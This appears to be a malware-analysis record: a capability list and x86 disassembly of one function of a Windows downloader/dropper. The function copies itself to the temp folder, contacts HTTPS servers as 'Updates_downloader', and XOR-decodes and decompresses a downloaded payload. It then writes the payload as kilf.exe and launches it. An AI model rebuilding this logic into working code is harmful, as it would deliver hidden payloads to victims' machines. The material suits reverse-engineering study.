Function at 0x401020
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
mov esi, 0x2000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push esi
push 8
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [ebp - 0x14]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp - 0xc]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4031e4
push dword [ebp - 0xc]
push 0x4031f8
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x4010b8
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov dword [ebp - 4], eax
call esi
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0x4010ee
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
lea ecx, [ebp - 0x1c]
push ecx
push dword [ebp - 4]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40119c
push edi
call esi
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 4]
push edi
push eax
call section..text
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
je 0x4010b0
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2 + 4]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
push edi
push ebx
push dword [ebp - 0xc]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
jmp 0x4010e8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x3c]
push dword [ebp - 0x10]
add eax, ecx
movzx edx, word [eax + 6]
imul edx, edx, 0x28
lea eax, [edx + eax + 0xd0]
mov esi, dword [eax + 0x14]
add esi, dword [eax + 0x10]
add esi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], ebx
jmp 0x4011da
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x4e20
jg 0x4011e1
push esi
call edi
test eax, eax
je 0x4011ce
push ebx
push ebx
push ebx
push ebx
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x4010b0
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x34], str.text_
mov dword [ebp - 0x30], str.application_
mov dword [ebp - 0x2c], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jle 0x40121b
mov dword [ebp - 0xc], ebx
xor edi, edi
mov eax, dword [ebp - 0xc]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x1bb
push dword [eax*4 + 0x4031c0]
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
cmp esi, ebx
jne 0x401249
inc edi
cmp edi, 3
jl 0x40121d
jmp 0x401210
mov dword [ebp - 4], ebx
push ebx
push 0x80803000
lea eax, [ebp - 0x34]
push eax
mov eax, dword [ebp - 0xc]
push ebx
push ebx
push dword [eax*4 + 0x4031cc]
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
mov dword [ebp - 0x10], edi
cmp edi, ebx
jne 0x40127e
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x40124c
jmp 0x401210
push 4
pop esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
mov dword [ebp - 0x24], esi
call dword [sym.imp.WININET.dll_InternetQueryOptionW]
or dword [ebp - 0x20], 0x100
push esi
lea eax, [ebp - 0x20]
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionW]
xor esi, esi
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4012c1
inc esi
cmp esi, 2
jl 0x4012ac
cmp esi, 2
je 0x401210
mov dword [ebp - 0x28], 4
mov dword [ebp - 8], ebx
xor esi, esi
push ebx
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
push 0x20000005
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x4012f5
inc esi
cmp esi, 3
jl 0x4012d6
cmp dword [ebp - 8], 0x30d40
jb 0x401210
push dword [ebp - 8]
push 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x4010b0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
mov edi, esi
push esi
jmp 0x401342
mov eax, dword [ebp - 0x1c]
add edi, eax
cmp eax, ebx
je 0x40134f
cmp eax, dword [ebp - 8]
je 0x40134f
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40132c
mov eax, dword [ebp - 8]
sub edi, esi
cmp edi, eax
je 0x401361
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x14
jl 0x401320
cmp dword [ebp - 4], 0x14
je 0x401210
cmp byte [esi], 0x5a
mov dword [ebp - 4], ebx
jne 0x40143c
cmp byte [esi + 1], 0x5a
jne 0x40143c
cmp byte [esi + 2], 0x50
jne 0x40143c
cmp byte [esi + 3], bl
jne 0x40143c
shl eax, 2
push eax
push 8
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x4010b0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4031d8]
mov edi, eax
xor edx, edx
and eax, 0xfffffffc
shl edi, 2
inc edx
mov dword [ebp - 0x18], ebx
cmp eax, 4
jbe 0x4013dc
xor dword [esi + edx*4], ecx
mov eax, dword [ebp - 8]
inc edx
shr eax, 2
cmp edx, eax
jb 0x4013ce
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4010b0
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [section..bss], eax
cmp eax, ebx
jne 0x401415
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4010b0
sub dword [ebp - 8], 4
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 8]
add esi, 4
push esi
mov esi, dword [ebp - 4]
push edi
push esi
push 0x102
call eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 8], edi
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
mov edi, str.kilf.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
lea ecx, [ebp - 0x38]
push ecx
push dword [ebp - 8]
mov dword [ebp - 0x10], eax
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], ebx
je 0x401486
push dword [ebp - 4]
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [ebp - 0x838]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
lea eax, [ebp - 0x838]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x838]
push eax
jmp 0x40118a